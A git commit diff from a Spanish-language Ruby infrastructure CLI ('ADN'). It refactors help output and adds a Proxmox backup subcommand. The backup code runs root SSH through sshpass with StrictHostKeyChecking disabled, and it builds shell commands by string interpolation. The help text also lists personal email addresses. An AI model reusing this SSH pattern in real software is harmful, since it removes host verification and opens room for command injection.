[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.

This commit is contained in:
Ricardo Monla
2026-03-19 09:52:29 -03:00
parent 183dbf6fb6
commit 5aa37e7221
138 changed files with 8777 additions and 464 deletions
+292 -174
View File
@@ -1,186 +1,304 @@
# frozen_string_literal: true
require_relative '../core/colores'
require_relative '../core/help_formatter'
class SubcomandoAyuda
def initialize(args, logger)
@args = args
@logger = logger
end
def ejecutar
if @args.empty?
mostrar_ayuda_principal
else
mostrar_ayuda_subcomando(@args[0])
module ADN
class SubcomandoAyuda
def initialize(args, logger)
@args = args
@logger = logger
end
end
private
def ejecutar
if @args.empty?
mostrar_ayuda_principal
else
mostrar_ayuda_subcomando(@args[0])
end
end
def mostrar_ayuda_principal
puts <<~AYUDA_PRINCIPAL
#{Color::CYAN}🔧 Herramienta ADN - Interfaz de línea de comandos unificada#{Color::RESET}
#{Color::DIM}Versión: Fase 1 (Núcleo Autónomo)#{Color::RESET}
private
#{Color::GREEN}Uso:#{Color::RESET} ./adn/tools/run <subcomando> [opciones] [argumentos]
def mostrar_ayuda_principal
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Herramienta ADN - Interfaz de línea de comandos unificada",
descripcion: "Versión: Fase 1 (Núcleo Autónomo)",
uso: "./adn/tools/run <subcomando> [opciones] [argumentos]",
opciones: [
{ names: ['validador [--watch] [--fix]'], desc: "Validar cumplimiento del ADN en bitácoras" },
{ names: ['contexto <nodo> [--cmd]'], desc: "Obtener contexto topológico de un nodo" },
{ names: ['nodos <acción> [opciones]'], desc: "Gestión de nodos (agrupar, listar, buscar)" },
{ names: ['jornada <acción> [modo] [hora] [opciones]'], desc: "Gestión de jornada (iniciar, cerrar, estado)" },
{ names: ['salud [--dashboard] [--json]'], desc: "Ver salud general del sistema ADN" },
{ names: ['generar bitacora [fecha]'], desc: "Generar nueva bitácora (fecha: YYYY-MM-DD)" },
{ names: ['generar nodo <nombre>'], desc: "Generar ficha de nodo" },
{ names: ['msp <subcomando>'], desc: "Gestión de MSPs NotebookLM (auditar, listar, registrar)" },
{ names: ['generar proyecto <código>'], desc: "Generar manifiesto de proyecto" },
{ names: ['tailscale <acción>'], desc: "Gestión de identidades Tailscale" },
{ names: ['backup <nodo> [--mode MODO]'], desc: "Ejecutar backup seguro de un nodo" },
{ names: ['db <subcomando>'], desc: "Operaciones de base de datos" },
{ names: ['triggers [opciones]'], desc: "Gestión del motor de triggers" },
{ names: ['plan [subcomando]'], desc: "Gestión de planes y progreso" },
{ names: ['proceso <nombre>'], desc: "Ejecutar procesos técnicos automatizados" },
{ names: ['estados'], desc: "Listar tareas en proceso (⏳)" },
{ names: ['conocimiento <subcomando>'], desc: "Gestión de Base de Conocimiento" },
{ names: ['ayuda [subcomando]'], desc: "Mostrar esta ayuda o ayuda específica" }
],
ejemplos: [
{ cmd: "./adn/tools/run ayuda jornada", desc: "Ver ayuda detallada del subcomando jornada" },
{ cmd: "./adn/tools/run ayuda nodos", desc: "Ver ayuda detallada del subcomando nodos" }
]
)
puts ayuda
puts ""
puts "#{Color::DIM}Subcomandos en desarrollo (Fases futuras):#{Color::RESET}"
puts " evolucion <propuesta.md> Gestionar propuesta de evolución del ADN"
puts " triggers [--test] [--force] Ejecutar triggers de sincronización"
puts ""
puts "#{Color::DIM}Para ayuda detallada de un subcomando:#{Color::RESET}"
puts " ./adn/tools/run ayuda <subcomando>"
puts ""
puts "#{Color::DIM}Documentación completa:#{Color::RESET} docs/plan/260307-1400_Plan_Mejoras_ADN.md"
end
#{Color::YELLOW}Subcomandos disponibles:#{Color::RESET}
validador [--watch] [--fix] Validar cumplimiento del ADN en bitácoras
contexto <nodo> [--cmd] Obtener contexto topológico de un nodo
nodos <acción> [opciones] Gestión de nodos (agrupar, listar, buscar)
jornada <acción> [modo] [hora] Gestión de jornada (iniciar, cerrar, estado)
salud [--dashboard] [--json] Ver salud general del sistema ADN
generar bitacora [fecha] Generar nueva bitácora (fecha: YYYY-MM-DD)
generar nodo <nombre> Generar ficha de nodo
msp <subcomando> Gestión de MSPs NotebookLM (auditar, listar, registrar)
#{Color::YELLOW}generar proyecto <código>#{Color::RESET} Generar manifiesto de proyecto
#{Color::YELLOW}tailscale <acción>#{Color::RESET} Gestión de identidades Tailscale
#{Color::YELLOW}backup <nodo> [--mode MODO]#{Color::RESET} Ejecutar backup seguro de un nodo
#{Color::YELLOW}db <subcomando>#{Color::RESET} Operaciones de base de datos
#{Color::YELLOW}triggers [opciones]#{Color::RESET} Gestión del motor de triggers
#{Color::YELLOW}plan [subcomando]#{Color::RESET} Gestión de planes y progreso
#{Color::YELLOW}proceso <nombre>#{Color::RESET} Ejecutar procesos técnicos automatizados
#{Color::YELLOW}estados#{Color::RESET} Listar tareas en proceso (⏳)
#{Color::YELLOW}ayuda [subcomando]#{Color::RESET} Mostrar esta ayuda o ayuda específica
#{Color::YELLOW}Subcomandos en desarrollo (Fases futuras):#{Color::RESET}
evolucion <propuesta.md> Gestionar propuesta de evolución del ADN
triggers [--test] [--force] Ejecutar triggers de sincronización
#{Color::DIM}Para ayuda detallada de un subcomando:#{Color::RESET}
./adn/tools/run ayuda <subcomando>
#{Color::DIM}Documentación completa:#{Color::RESET} docs/plan/260307-1400_Plan_Mejoras_ADN.md
AYUDA_PRINCIPAL
end
def mostrar_ayuda_subcomando(subcomando)
case subcomando.downcase
when 'validador'
puts "Uso: ./adn/tools/run validador [--watch] [--fix]"
puts ""
puts "Valida el cumplimiento del ADN en las bitácoras:"
puts " • Formato de tiempo (HH:MM, sin \"hs\")"
puts " • Iconografía de estados y semántica correcta"
puts " • Presencia de métricas híbridas ([Físico/Remoto:])"
puts " • Referencias bidireccionales en rollovers"
puts "Estructura de tablas en bitácoras"
puts ""
puts "Opciones:"
puts " --watch Monitorizar cambios en tiempo real (Fase 1 completa)"
puts " --fix Intentar corregir errores automáticamente"
puts ""
puts "Ejemplo:"
puts " ./adn/tools/run validador"
puts " ./adn/tools/run validador --fix"
when 'contexto'
puts "Uso: ./adn/tools/run contexto <nombre-nodo> [--cmd]"
puts ""
puts "Obtiene información contextual de un nodo:"
puts " • IP y configuración de red"
puts " • Rol en la topología"
puts " • Comandos SSH sugeridos"
puts ""
puts "Ejemplo:"
puts " ./adn/tools/run contexto srv-pmox1"
puts " ./adn/tools/run contexto srvv-fenix --cmd"
when 'nodos'
puts "Uso: ./adn/tools/run nodos <acción> [opciones]"
puts ""
puts "Gestión y consulta de nodos de infraestructura:"
puts " • agrupar [--servidor SRV] Agrupar VMs por servidor anfitrión"
puts " • listar [--tipo TIPO] Listar fichas de nodos (.md)"
puts " • buscar <término> Buscar nodos por nombre o contenido"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run nodos agrupar"
puts " ./adn/tools/run nodos agrupar --servidor srv-pmox1"
puts " ./adn/tools/run nodos listar --tipo srvv"
puts " ./adn/tools/run nodos buscar dasuten"
when 'jornada'
puts "Uso: ./adn/tools/run jornada <acción> [modo] [hora] [opciones]"
puts ""
puts "Gestión de jornada laboral:"
puts " iniciar [presencial|remoto] [HH:MM] Registrar inicio"
puts " • cerrar [presencial|remoto] [HH:MM] Registrar cierre"
puts " • estado Ver estado actual"
puts ""
puts "Opciones:"
puts " --nodo NOMBRE Nodo a registrar (default: dtic-DIIAA)"
puts " --fecha YYYY-MM-DD Fecha de la bitácora (default: hoy)"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run jornada iniciar presencial 08:00"
puts " ./adn/tools/run jornada cerrar remoto 23:00"
puts " ./adn/tools/run jornada estado"
when 'salud'
puts "Uso: ./adn/tools/run salud [--dashboard] [--json]"
puts ""
puts "Muestra métricas de salud del sistema ADN:"
puts " • Cantidad de hebras, bitácoras, nodos, proyectos"
puts " • Errores recientes en logs"
puts ""
puts "Ejemplo:"
puts " ./adn/tools/run salud"
puts " ./adn/tools/run salud --json"
when 'generar'
puts "Uso: ./adn/tools/run generar <tipo> [argumentos]"
puts ""
puts "Tipos disponibles:"
puts " bitacora [fecha] - Crea nueva bitácora (fecha: YYYY-MM-DD, default: hoy)"
puts " nodo <nombre> - Crea ficha de nodo"
puts " proyecto <código> - Crea manifiesto de proyecto"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run generar bitacora"
puts " ./adn/tools/run generar bitacora 2026-03-08"
puts " ./adn/tools/run generar nodo srv-nuevo"
puts " ./adn/tools/run generar proyecto P2604"
when 'proceso'
puts "Uso: ./adn/tools/run proceso <nombre_proceso> [argumentos]"
puts ""
puts "Ejecuta procesos técnicos automatizados sobre la infraestructura:"
puts " • nodos:actualizar_so <nodo> Actualiza paquetes y parches de seguridad"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run proceso nodos:actualizar_so srv-ns8"
puts " ./adn/tools/run proceso nodos:actualizar_so srv-dasu"
when 'estados'
puts "Uso: ./adn/tools/run estados"
puts ""
puts "Consulta la bitácora web para listar todos los items con estado ⏳ (En proceso)."
puts "Ideal para monitorear procesos automatizados o jornadas abiertas."
when 'tailscale', 'ts'
puts "Uso: ./adn/tools/run tailscale <acción> [perfil]"
puts ""
puts "Gestión de identidades y perfiles de Tailscale:"
puts " • switch <perfil> Alternar entre cuentas (dasuten, personal)"
puts " • status Ver estado y cuenta activa"
puts " • list Listar perfiles en caché local"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run tailscale switch dasuten"
puts " ./adn/tools/run tailscale status"
when 'msp'
puts "Uso: ./adn/tools/run msp <subcomando> [opciones]"
puts ""
puts "Gestión de MSPs (Markdown Style Papers) de NotebookLM:"
puts " • auditar Verificar estado de conexión MCP y NotebookLM"
puts " • listar Listar MSPs disponibles en el sistema"
puts " • registrar Registrar un MSP descargado"
puts ""
puts "Opciones:"
puts " --archivo RUTA Ruta al archivo MSP (para registrar)"
puts " --titulo TITULO Título del MSP (opcional)"
puts ""
puts "Ejemplos:"
puts " ./adn/tools/run msp auditar"
puts " ./adn/tools/run msp listar"
puts " ./adn/tools/run msp registrar --archivo docs/mcps/mi-msp.md"
else
puts "#{Color::RED}✗ Subcomando desconocido: #{subcomando}#{Color::RESET}"
puts "Usa './adn/tools/run ayuda' para ver la lista de subcomandos."
def mostrar_ayuda_subcomando(subcomando)
case subcomando.downcase
when 'validador'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Validador de ADN",
descripcion: "Valida el cumplimiento del ADN en las bitácoras",
uso: "./adn/tools/run validador [--watch] [--fix]",
opciones: [
{ names: ['--watch'], desc: "Monitorizar cambios en tiempo real (Fase 1 completa)" },
{ names: ['--fix'], desc: "Intentar corregir errores automáticamente" }
],
ejemplos: [
{ cmd: "./adn/tools/run validador", desc: "Ejecutar validador estándar" },
{ cmd: "./adn/tools/run validador --fix", desc: "Ejecutar validador con corrección automática" }
]
)
puts ayuda
puts ""
puts "El validador verifica:"
puts " • Formato de tiempo (HH:MM, sin \"hs\")"
puts " • Iconografía de estados y semántica correcta"
puts " • Presencia de métricas híbridas ([Físico/Remoto:])"
puts " • Referencias bidireccionales en rollovers"
puts " • Estructura de tablas en bitácoras"
when 'contexto'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Contexto de Nodo",
descripcion: "Obtiene información contextual de un nodo",
uso: "./adn/tools/run contexto <nombre-nodo> [--cmd]",
ejemplos: [
{ cmd: "./adn/tools/run contexto srv-pmox1", desc: "Obtener contexto del nodo srv-pmox1" },
{ cmd: "./adn/tools/run contexto srvv-fenix --cmd", desc: "Obtener contexto con comandos SSH sugeridos" }
]
)
puts ayuda
puts ""
puts "Información que proporciona:"
puts "IP y configuración de red"
puts " • Rol en la topología"
puts " • Comandos SSH sugeridos"
when 'nodos'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Nodos",
descripcion: "Gestión y consulta de nodos de infraestructura",
uso: "./adn/tools/run nodos <acción> [opciones]",
opciones: [
{ names: ['agrupar [--servidor SRV]'], desc: "Agrupar VMs por servidor anfitrión" },
{ names: ['listar [--tipo TIPO]'], desc: "Listar fichas de nodos (.md)" },
{ names: ['buscar <término>'], desc: "Buscar nodos por nombre o contenido" }
],
ejemplos: [
{ cmd: "./adn/tools/run nodos agrupar", desc: "Agrupar todos los VMs por servidor" },
{ cmd: "./adn/tools/run nodos agrupar --servidor srv-pmox1", desc: "Agrupar VMs del servidor srv-pmox1" },
{ cmd: "./adn/tools/run nodos listar --tipo srvv", desc: "Listar nodos de tipo srvv" },
{ cmd: "./adn/tools/run nodos buscar dasuten", desc: "Buscar nodos relacionados con dasuten" }
]
)
puts ayuda
when 'jornada'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Jornada Laboral",
descripcion: "Registro y control de jornada laboral",
uso: "./adn/tools/run jornada <acción> [modo] [hora] [opciones]",
opciones: [
{ names: ['iniciar [presencial|remoto] [HH:MM]'], desc: "Registrar inicio de jornada" },
{ names: ['cerrar [presencial|remoto] [HH:MM]'], desc: "Registrar cierre de jornada" },
{ names: ['estado'], desc: "Ver estado de la jornada actual" },
{ names: ['--nodo NOMBRE'], desc: "Nodo a registrar (default: dtic-DIIAA)" },
{ names: ['--fecha YYYY-MM-DD'], desc: "Fecha de la bitácora (default: hoy)" }
],
ejemplos: [
{ cmd: "./adn/tools/run jornada iniciar presencial 08:00", desc: "Iniciar jornada presencial a las 08:00" },
{ cmd: "./adn/tools/run jornada cerrar remoto 23:00", desc: "Cerrar jornada remota a las 23:00" },
{ cmd: "./adn/tools/run jornada estado", desc: "Ver estado actual de la jornada" }
]
)
puts ayuda
when 'salud'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Salud del Sistema ADN",
descripcion: "Muestra métricas de salud del sistema ADN",
uso: "./adn/tools/run salud [--dashboard] [--json]",
opciones: [
{ names: ['--dashboard'], desc: "Mostrar dashboard de salud (por implementar)" },
{ names: ['--json'], desc: "Salida en formato JSON" }
],
ejemplos: [
{ cmd: "./adn/tools/run salud", desc: "Mostrar reporte de salud estándar" },
{ cmd: "./adn/tools/run salud --json", desc: "Mostrar reporte de salud en formato JSON" }
]
)
puts ayuda
puts ""
puts "Métricas mostradas:"
puts " • Cantidad de hebras, bitácoras, nodos, proyectos"
puts " • Errores recientes en logs"
when 'generar'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Generador de Componentes ADN",
descripcion: "Genera nuevos componentes en el ecosistema ADN",
uso: "./adn/tools/run generar <tipo> [argumentos]",
opciones: [
{ names: ['bitacora [fecha]'], desc: "Crea nueva bitácora (fecha: YYYY-MM-DD, default: hoy)" },
{ names: ['nodo <nombre>'], desc: "Crea ficha de nodo" },
{ names: ['proyecto <código>'], desc: "Crea manifiesto de proyecto" }
],
ejemplos: [
{ cmd: "./adn/tools/run generar bitacora", desc: "Crear bitácora para hoy" },
{ cmd: "./adn/tools/run generar bitacora 2026-03-08", desc: "Crear bitácora para el 8 de marzo de 2026" },
{ cmd: "./adn/tools/run generar nodo srv-nuevo", desc: "Crear ficha para el nodo srv-nuevo" },
{ cmd: "./adn/tools/run generar proyecto P2604", desc: "Crear manifiesto para el proyecto P2604" }
]
)
puts ayuda
when 'proceso'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Procesos Automatizados ADN",
descripcion: "Ejecuta procesos técnicos automatizados sobre la infraestructura",
uso: "./adn/tools/run proceso <nombre_proceso> [argumentos]",
opciones: [
{ names: ['nodos:actualizar_so <nodo>'], desc: "Actualiza paquetes y parches de seguridad" }
],
ejemplos: [
{ cmd: "./adn/tools/run proceso nodos:actualizar_so srv-ns8", desc: "Actualizar SO en el nodo srv-ns8" },
{ cmd: "./adn/tools/run proceso nodos:actualizar_so srv-dasu", desc: "Actualizar SO en el nodo srv-dasu" }
]
)
puts ayuda
when 'triggers'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Triggers ADN",
descripcion: "Gestiona el sistema de triggers para sincronización automática del ADN",
uso: "./adn/tools/run triggers [OPCIONES]",
opciones: [
{ names: ['--test [TRIGGER_ID]'], desc: "Probar un trigger específico (modo simulación)" },
{ names: ['--forzar'], desc: "Ejecutar triggers incluso si sistema deshabilitado" },
{ names: ['--listar'], desc: "Listar todos los triggers configurados" },
{ names: ['--registrar'], desc: "Registrar triggers en el bus de eventos" },
{ names: ['--limpiar'], desc: "Limpiar todos los triggers registrados" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run triggers --listar", desc: "Listar todos los triggers configurados" },
{ cmd: "./adn/tools/run triggers --registrar", desc: "Registrar triggers en el bus de eventos" },
{ cmd: "./adn/tools/run triggers --test bitacoras_0", desc: "Probar trigger bitacoras_0 (modo simulación)" },
{ cmd: "./adn/tools/run triggers --forzar", desc: "Forzar ejecución de triggers" },
{ cmd: "./adn/tools/run triggers --limpiar", desc: "Limpiar todos los triggers registrados" }
]
)
puts ayuda
when 'estados'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Listado de Tareas en Proceso",
descripcion: "Consulta la bitácora web para listar todos los items con estado ⏳ (En proceso)",
uso: "./adn/tools/run estados",
descripcion_adicional: "Ideal para monitorear procesos automatizados o jornadas abiertas."
)
puts ayuda
when 'tailscale', 'ts'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Identidades Tailscale",
descripcion: "Gestión de identidades y perfiles de Tailscale",
uso: "./adn/tools/run tailscale <acción> [perfil]",
opciones: [
{ names: ['switch <perfil>'], desc: "Alternar entre cuentas (dasuten, personal)" },
{ names: ['status'], desc: "Ver estado y cuenta activa" },
{ names: ['list'], desc: "Listar perfiles en caché local" }
],
ejemplos: [
{ cmd: "./adn/tools/run tailscale switch dasuten", desc: "Cambiar a la cuenta dasuten" },
{ cmd: "./adn/tools/run tailscale status", desc: "Ver estado actual de Tailscale" }
]
)
puts ayuda
puts ""
puts "Perfiles disponibles:"
puts " • dasuten: Ecosistema DASUTEN (pcdasu0@frlr.utn.edu.ar)"
puts " • personal: Otros ecosistemas (rmonla@gmail.com)"
when 'msp'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de MSPs - NotebookLM",
descripcion: "Herramientas para auditar, registrar y listar MSPs (Markdown Style Papers)",
uso: "./adn/tools/run msp <subcomando> [opciones]",
opciones: [
{ names: ['auditar'], desc: "Verificar estado de conexión MCP y NotebookLM" },
{ names: ['registrar'], desc: "Registrar un MSP descargado en la base de conocimiento", default: "--archivo <ruta>" },
{ names: ['listar'], desc: "Listar MSPs disponibles en el sistema" }
],
ejemplos: [
{ cmd: "./adn/tools/run msp auditar", desc: "Verificar estado de MCP y NotebookLM" },
{ cmd: "./adn/tools/run msp listar", desc: "Listar MSPs disponibles" },
{ cmd: "./adn/tools/run msp registrar --archivo /ruta/msp.md", desc: "Registrar un MSP" }
]
)
puts ayuda
when 'conocimiento'
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Base de Conocimiento",
descripcion: "Permite inyectar, organizar e indexar nueva documentación en el motor autónomo.",
uso: "./adn/tools/run conocimiento <subcomando> [opciones]",
opciones: [
{ names: ['asimilar <archivo.md>'], desc: "Ingiere un documento Markdown a la base cognitiva del ADN." }
],
ejemplos: [
{ cmd: "./adn/tools/run conocimiento asimilar docs/configuracion_bd.md", desc: "Asimilar documentación de configuración de BD" }
]
)
puts ayuda
else
puts "#{Color::RED}✗ Subcomando desconocido: #{subcomando}#{Color::RESET}"
puts "Usa './adn/tools/run ayuda' para ver la lista de subcomandos."
end
end
end
end
+39 -35
View File
@@ -4,13 +4,15 @@ require 'optparse'
require 'fileutils'
require 'date'
require_relative 'backup/configurador'
require_relative '../core/colores'
require_relative '../core/help_formatter'
module ADN
class SubcomandoBackup
def initialize(args, logger)
@args = args
@logger = logger
# Cargar valores predeterminados desde config.yml
defaults = Configurador.obtener('backup.defaults') || {}
@opciones = {
@@ -22,6 +24,12 @@ module ADN
end
def ejecutar
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
parser = OptionParser.new do |opts|
opts.banner = "Uso: ./adn/tools/run backup <nodo|estados> [OPCIONES]"
opts.separator ""
@@ -107,7 +115,7 @@ module ADN
# Usar popen para leer la salida en tiempo real
@logger.info("Conectando y monitoreando salida de Proxmox...")
clave = (@nodo[:nombre] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
clave = (datos[:host_name] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
IO.popen("ruby #{candados_path} run #{clave} SSHPASS '#{cmd_seguro}' 2>&1") do |pf|
pf.each_line do |line|
# Imprimir flujo para el usuario
@@ -609,46 +617,42 @@ module ADN
@logger.info("Auto-cerrando backup de #{nodo_actual} (Task ID: #{tarea['id']})")
cerrar_entrada_especifica(nodo_actual, hora_inicio_str, exito, tarea['id'], hora_fin)
end
end
end
private
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Backup ADN",
descripcion: "Ejecuta un backup remoto o consulta el estado actual.",
uso: "./adn/tools/run backup <nodo|estados> [OPCIONES]",
opciones: [
{ names: ['<nodo>'], desc: "Ejecutar backup del nodo especificado" },
{ names: ['estados'], desc: "Ver estado actual de los backups en Proxmox" },
{ names: ['sanear'], desc: "Limpiar backups antiguos según retención" },
{ names: ['predeterminar'], desc: "Configurar valores por defecto" },
{ names: ['--mode MODO'], desc: "Modo de backup (stop, snapshot, suspend)" },
{ names: ['--storage STORAGE'], desc: "Nombre del storage en Proxmox" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run backup srv-dasu", desc: "Ejecutar backup del nodo srv-dasu" },
{ cmd: "./adn/tools/run backup estados", desc: "Ver estado de backups en Proxmox" },
{ cmd: "./adn/tools/run backup sanear", desc: "Limpiar backups antiguos" }
]
)
puts ayuda
end
end
end
def cerrar_entrada_especifica(nodo, hora_ini, exito, task_id, hora_fin)
fecha = Date.today.iso8601
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
return unless File.exist?(ruta)
estado_ico = exito ? '✅' : '⚠️'
desc = exito ? 'Backup completado exitosamente.' : 'Fallo en la ejecución del backup.'
desc = "[task:#{task_id[0..7]}] #{desc}" if task_id
linea_nueva = "| #{hora_ini} | #{hora_fin} | #{desc} | R | #{estado_ico} |"
contenido = File.read(ruta)
# Buscamos la fila específica que coincida con el nodo Y la hora de inicio
# Capturamos el bloque del nodo para evitar errores si otros nodos tienen la misma hora
regex_seccion = /(### #{Regexp.escape(nodo)}.*?)(?=^###\s|<!--|\z)/m
seccion = contenido.match(regex_seccion)&.[](0)
unless seccion
return
end
# Regex para la fila exacta que tenga la hora de inicio Y un reloj ⏳ en la última columna
regex_fila = /\|\s*#{Regexp.escape(hora_ini)}\s*\|\s*\|\s*[^|]*\|\s*[^|]*\|\s*[^|]*⏳[^|]*\|/
if seccion.match?(regex_fila)
@logger.exito("Reconciliado: #{nodo} (#{hora_ini} -> #{hora_fin})")
nueva_seccion = seccion.sub(regex_fila, linea_nueva)
# Si ya no quedan ⏳ en esta sección, actualizamos su icono #### ⏳ -> ✅
# Buscamos cualquier reloj de arena que quede en la sección
unless nueva_seccion.include?('⏳')
nueva_seccion.gsub!(/#### [⏳⏳] - BKP-ADN/, "#### #{estado_ico} - BKP-ADN")
end
nuevo_contenido = contenido.gsub(seccion, nueva_seccion)
File.write(ruta, nuevo_contenido)
end
end
end
end
end
end
+654
View File
@@ -0,0 +1,654 @@
# frozen_string_literal: true
require 'optparse'
require 'fileutils'
require 'date'
require_relative 'backup/configurador'
require_relative '../core/colores'
require_relative '../core/help_formatter'
module ADN
class SubcomandoBackup
def initialize(args, logger)
@args = args
@logger = logger
# Cargar valores predeterminados desde config.yml
defaults = Configurador.obtener('backup.defaults') || {}
@opciones = {
modo: defaults['modo'] || 'stop',
storage: defaults['storage'] || 'local',
compress: defaults['compress'] || 'gzip',
retencion: defaults['retencion_dias'] || 6
}
end
def ejecutar
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
parser = OptionParser.new do |opts|
opts.banner = "Uso: ./adn/tools/run backup <nodo|estados> [OPCIONES]"
opts.separator ""
opts.separator "Ejecuta un backup remoto o consulta el estado actual."
opts.separator ""
opts.separator "Acciones:"
opts.separator " <nodo> Ejecutar backup del nodo especificado"
opts.separator " estados Ver estado actual de los backups en Proxmox"
opts.separator " sanear Limpiar backups antiguos según retención"
opts.separator " predeterminar Configurar valores por defecto"
opts.separator ""
opts.separator "Opciones:"
opts.on("--mode MODO", "Modo de backup (stop, snapshot, suspend. Default: #{@opciones[:modo]})") do |m|
@opciones[:modo] = m
end
opts.on("--storage STORAGE", "Nombre del storage en Proxmox (Default: #{@opciones[:storage]})") do |s|
@opciones[:storage] = s
end
opts.on("-h", "--help", "Mostrar esta ayuda") do
puts opts
exit
end
end
begin
parser.parse!(@args)
rescue OptionParser::InvalidOption => e
@logger.error("Opción inválida: #{e.message}")
puts parser
exit 1
end
if @args.empty?
@logger.error("Se requiere nombre de nodo o acción")
puts parser
exit 1
end
case @args[0]
when 'predeterminar'
comando_predeterminar(@args[1..-1])
when 'estados', 'estado'
comando_estados
when 'sanear'
comando_sanear
else
ejecutar_backup(@args[0])
end
end
private
def ejecutar_backup(nodo)
@logger.info("Iniciando flujo ADN-Backup para nodo: #{nodo}")
# 1. Obtener contexto del nodo
datos = obtener_contexto_nodo(nodo)
unless datos
@logger.error("No se pudo determinar el contexto técnico para #{nodo}")
exit 1
end
@logger.info("Contexto validado: VM #{datos[:vmid]} en #{datos[:host_name]} (#{datos[:host_ip]})")
# 2. Registrar inicio en bitácora (Bitácora-First)
registrar_inicio_bitacora(nodo, datos)
# 3. Ejecución segura vía candados
@logger.info("Solicitando autorización y ejecutando backup remoto...")
comando_vzdump = "vzdump #{datos[:vmid]} --mode #{@opciones[:modo]} --storage #{@opciones[:storage]} --compress #{@opciones[:compress]}"
cmd_seguro = "sshpass -e ssh -o StrictHostKeyChecking=no root@#{datos[:host_ip]} \"#{comando_vzdump}\""
# Ruta absoluta a candados
candados_path = File.join(ADN::PROJECT_ROOT, 'adn', 'tools', 'seguridad', 'candados.rb')
# Ejecutar con candados autorizando primero
system("ruby #{candados_path} authorize > /dev/null 2>&1")
task_id = nil
full_output = ""
# Usar popen para leer la salida en tiempo real
@logger.info("Conectando y monitoreando salida de Proxmox...")
clave = (datos[:host_name] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
IO.popen("ruby #{candados_path} run #{clave} SSHPASS '#{cmd_seguro}' 2>&1") do |pf|
pf.each_line do |line|
# Imprimir flujo para el usuario
puts " #{Color::DIM}#{line.strip}#{Color::RESET}"
full_output += line
# Si detectamos el Task ID al inicio, lo registramos de inmediato
if task_id.nil? && match = line.match(/started backup task '([^']+)'/)
task_id = match[1]
@logger.info("Task ID detectado: #{task_id}. Registrando en bitácora...")
registrar_task_id_bitacora(nodo, task_id)
end
end
end
success = $?.success?
# 4. Finalizar y cerrar
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
if success
@logger.exito("Backup de #{nodo} completado exitosamente.")
registrar_fin_bitacora(nodo, true, task_id)
else
@logger.error("La ejecución del backup falló.")
registrar_fin_bitacora(nodo, false, task_id)
exit 1
end
end
def obtener_contexto_nodo(nombre_nodo)
ruta_nodo = File.join(ADN::NODOS_DIR, "#{nombre_nodo}.md")
unless File.exist?(ruta_nodo)
@logger.error("No existe el archivo de nodo: #{ruta_nodo}")
@logger.sugerencia("./adn/tools/run db nodo:crear --nombre #{nombre_nodo} --tipo servidor --ip 0.0.0.0 --desc \"Servidor a configurar\"")
return nil
end
contenido = File.read(ruta_nodo)
vmid = contenido.match(/(?:VM ID|vmid|VMID)\*\*?:?\s*`?(\d+)`?/i)&.[](1)
host_name = contenido.match(/(?:Padre\/Host|Host Anfitrión|Anfitrión|Host)\*\*:?\s*`([^`]+)`/i)&.[](1)
unless vmid && host_name
@logger.error("Contexto incompleto en #{nombre_nodo}.md: VMID=#{vmid}, Host=#{host_name}")
@logger.sugerencia([
"Asegurate de que #{nombre_nodo}.md tenga las siguientes líneas:",
"- **Padre/Host**: `srv-proxmox-ejemplo`",
"- **VMID**: `1xx`"
])
return nil
end
# Buscar IP del host
ruta_host = File.join(ADN::NODOS_DIR, "#{host_name}.md")
host_ip = nil
if File.exist?(ruta_host)
c_host = File.read(ruta_host)
host_ip ||= c_host.match(/\|\s*IP[^\|]*\|\s*`([^`]+)`\s*\|/)&.[](1)
host_ip ||= c_host.match(/IP\*\*:?\s*`([^`]+)`/)&.[](1)
host_ip ||= c_host.match(/IP:\s*([\d\.]+)/)&.[](1)
end
unless host_ip
@logger.error("No se encontró IP para el host #{host_name}")
@logger.sugerencia([
"Verificá que el archivo #{host_name}.md exista.",
"Si no existe, crealo con: ./adn/tools/run db nodo:crear --nombre #{host_name} --tipo servidor --ip DIRECCION_IP",
"Asegurate de que incluya: **IP**: `DIRECCION_IP`"
])
return nil
end
host_ip = host_ip.split('/')[0] if host_ip.include?('/')
{ vmid: vmid, host_name: host_name, host_ip: host_ip }
end
def registrar_inicio_bitacora(nodo, datos)
require_relative '../db/core/bitacora_db'
BitacorasDB::BitacoraDB.with_connection do |db|
# Asegurar bitácora
bitacora = db.find_bitacora_by_fecha(Date.today)
bitacora ||= db.create_bitacora(fecha: Date.today)
# Buscar nodo en DB
nodo_db = db.find_nodo_by_nombre(nodo)
hora = Time.now.strftime('%H:%M')
entrada = db.create_entrada(
inicio: hora,
descripcion: "Inicio de backup remoto vía SSH para VM #{datos[:vmid]} en #{datos[:host_name]}.",
estado: '⏳',
modo: 'R',
